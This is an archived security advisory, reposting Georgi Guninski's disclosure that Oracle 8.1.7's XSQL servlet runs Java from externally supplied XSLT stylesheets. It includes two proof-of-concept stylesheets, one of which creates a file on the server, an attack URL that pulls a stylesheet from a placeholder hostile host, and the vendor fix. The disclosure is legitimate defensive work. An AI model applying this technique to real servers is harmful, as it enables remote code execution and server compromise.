TUCoPS :: Web :: Servers

TUCoPS :: Web :: Servers :: oracle23.htm
Oracle 8.1.7 - executing java on the server
Vulnerability

    Oracle

Affected

    Oracle 8.1.7 (others?)

Description

    Following is  based on  a Georgi  Guninski security  advisory #34.
    Oracle XSQL servlet and xml-stylesheet allow executing java on the
    web server.

    This  affects  Oracle  XSQL  servlet,  installed by default Oracle
    8.1.7 Windows 2000installation, probably other  versions/platforms
    are affected because the servlet is written in java.

    To get an idea for the XSQL servlet it is suggested to read:

        http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm

    The XSQL servlet allows specifying external xslt stylesheets which
    may reside  anywhere.   The problem  is it  is possible to execute
    java on the web server in the xslt stylesheet.  Executing java  on
    the web server may lead to compromising it.

    Oracle allows extensions to the built in xslt functions using  the
    xmlns  "http://www.oracle.com/XSL/Transform/java/".   Using   this
    namespace it is possible  to instantiate java objects  and execute
    their methods.

    Sample xslt stylesheets:

    --ora.xsl---string function, almost no effect---------------
    <?xml version="1.0"?>
    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">
    <xsl:template match="/">
    <html>
    <h2>
    Written by <A HREF="http://www.guninski.com">Georgi Guninski</A>
    <BR>
    </BR>
    Java demo.
    <xsl:variable name="str1" select="jstr:new('java on the server')" />
    <xsl:value-of select="jstr:toUpperCase($str1)" />
    </h2>
    </html>
    </xsl:template>
    </xsl:stylesheet>

    --ora2.xsl----creates a file -------------------------------
    <?xml version="1.0"?>
    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">
    <xsl:template match="/">
    <html>
    <h2>
    Written by <A HREF="http://www.guninski.com">Georgi Guninski</A>
    <BR>
    </BR>
    File "c:\winnt\georgigjava" created=
    <xsl:variable name="r1" select="jstr:new('c:\\winnt\\georgigjava')" />
    <xsl:value-of select="jstr:createNewFile($r1)" />
    </h2>
    </html>
    </xsl:template>
    </xsl:stylesheet>

    Assuming  that  http://XSQL-SERVER/EXISTING.xsql  exists  and   is
    configured (there are installed .xsql demos in  /xsql/java/demo/),
    the following URL:

        http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl

    will  execute  java   from  http://HOSTILE/ora.xsl  (see   example
    stylesheets above) on XSQL-SERVER.

    This  work  on  default  Oracle  8.1.7  install, we only needed to
    adjust the database name in the servlet config file.

Solution

    Add  'allow-client-style="no"'  on  the  document element of every
    xsql page.

    Oracle has corrected this vulnerability in the new release of XSQL
    Servlet as well as provided more secure behavior by default.   The
    new release of XSQL Servlet, Release 1.0.4.0, can be obtained from
    Oracle Technology Network, OTN,

        http://otn.oracle.com/tech/xml/xsql_servlet

    A patch will also be  available in the upcoming Oracle8i,  Release
    8.1.7.1, patch set and available for use with iAS Release 1.0.2.1.